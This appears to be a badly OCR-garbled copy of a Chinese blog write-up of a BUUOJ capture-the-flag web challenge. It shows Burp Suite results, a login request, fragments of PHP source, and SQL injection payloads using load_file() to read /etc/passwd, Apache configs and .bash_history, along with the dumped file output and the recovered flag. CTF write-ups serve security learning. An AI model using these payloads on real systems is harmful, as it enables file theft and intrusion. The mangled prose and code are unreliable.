[ 4% 2018]Comment (ZIRIEAN, gitittdE, githkE)

WHOAMIANnony F 2020-04-12 18:29:31 KA 1243 KK 6
SEER:. CTF-Web

FRAL A B . A SO R A E, M8 CC 4.0 BY-SA RN, ##iEM bR ST ab sk A A B .
A CEERE: hitps://blog.csdn.net/qq_45521281/article/details/105470232
KA

CTF-Web L= IFiZ AN A

42 RWIXE 16T
BB
BEN R H RIXFER

C 00 O FZ=| 2bd115a3-a38d-4b0d-9523-9bf35cb031a2.node3.buuoj.cn

EE
L3

iR

ID CATEGORY TITLE

BRI IR U R

Signin

zhangwei

zhangwei***

hitps://blog.csdn.net/gg_45521281

X B CLE TIRM P AHFRR T8, FERE T 6 =060, AT LR SR BUE I =601 75 -


https://blog.csdn.net/qq_45521281
https://blog.csdn.net/qq_45521281/category_9909195.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_45521281/article/details/105470232
https://blog.csdn.net/qq_45521281/category_9909195.html

MLl Jave  UIUEEn D

_J Results TTarget I Positions T Payloads I Options ]

3| Filter: Showing all items i
E Request | Payload Status Error Timeout | Length Comment
IR bbd 20U [ L ZU7S T
1| 566 665 200 LJ [ ] 2075 alli
568 667 200 U ] 2075 b
.|| 567 302 O O 20 [
| 570 669 200 J ] 2075
569 668 200 LJ [ ] 2075
1| 571 670 200 J ] 2075 j
572 671 200 LJ [ ] 2075
1 573 672 200 J ] 2075
574 673 200 LJ [ ] 2075 I-'
LT [ ' | s Tulal L1 | ANTL

J Request I Response 1

J Raw T Params T Headers I Hex ]

FPOST fogin.php HTTRM .1 i
o Host: 2bd115a3-a38d-4b0d-9523-9bf35chb031a2. node3 . buuoj.cn r
Caontent-Length: 38
4 Cache-Control: max-age=0
Origin: http://2bd115a3-a38d-4b0d-9523-9hf35ch031a2 node3. buuaj.cn
N Upgrade-Insecure-Requests: 1
Caontent-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/S.0 (Windows NT 10.0; WOWE4) AppleWebKit/537 36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Accept: text/html,application/xhtml+xml application/xml; g=0.9 image/webp imagefapng "™, g=0.8 application/signed-exchange;vw=h3
| Referer: http:/i2bd115a3-a38d-4b0d-9523-9Lf35cb031 a2 node3 . buuoj. cn/login. php
Accept-Language: zh-CM,zh;q=0.9
Cookie: PHPSESSID=t1otm7tds5h59cE60a681 ghgjhb1
Connection: close
3
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session_start();
if($ SESSION[
header(
die();
)i
if(isset($_GET[ 1)){
switch ($_GET[ D)
{
case :
$category = addslashes($ POST[
$title = addslashes($ _POST[
$content = addslashes($ POST[
$sql
$category
$title
$content'";
$result = mysql query($sql);
header( )
break;
case :
$bo_id addslashes($_POST[
$sql
$result = mysql_query($sql);
$num mysql_num_rows($result);
if($num>0){
$category = mysql fetch_array($result)[
$content = addslashes($_POST[ D;
$sql
$category
$content
$bo_id"'";
$result = mysql_query($sql);
bj
header(
break;
default:
header(
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ZEBERERWEAIT, BT IMEMRWriteUp, KBIX B2 sqBRiEBSCH. #Bik: select load_file(‘SC 44 %) ¥ 42).
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1. /etc/init.d FRIZRA, X EAEEXHEE
?id=1"' union select 1,2,load file('/etc/init.d/httpd")

2. BEwebZHEHE
?id=1"' union select 1,2,load_file('/etc/apache/conf/httpd.conf")

?id=1"' union select 1,2,load file('var/www/html/xxx.com/php/conn.inc.php")
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B e il/etc/passwd, XA T RGP B



load_file()A & 7EH55 B AT

4 0',content=database()/* title FE= =
5 a',content=(select (load_file('/etc/passwd’))),/* title ES ==
title

1IEX

content

==

Ho=

root:x:0:0:root:/root:/bin/bash daesmon:x:1:1:daemon:/usr/shin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin syncx:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/shin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
Ip::7:7:Ip:/var/spool/lpd:/usr/shin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:%:9:news:/var/spool/news:/usr/shin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/shbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/shin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/shin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/shin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/shin/nologin
libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false mysql:x:102:105:MySQL
Server,,,:/varf/lib/mysql:/bin/false www:x:500:500:www:/home/www:/bin/bash
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a home/www/ .bash_history"
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5 a',content=(select (load_file('/etc/passwd'))),/* title e =

b a',content=(select({load_file('/home/www/.bash_history"))),/* title = =
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cd /tmp/ unzip html.zip rm -f html.zip cp -r html Avar/www/ cd /varfiwww/html/ rm -f .DS_Store service apache2 start
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a tmp/html/.DS_Store'
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3C3F7068700A0924666C61673D22666C61677B39333361373134392D353330362D343964322D623161312D35306132323
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<?7php
$flag="flag{933a7149-5306-49d2-b1a1-50a229a3cfde}";
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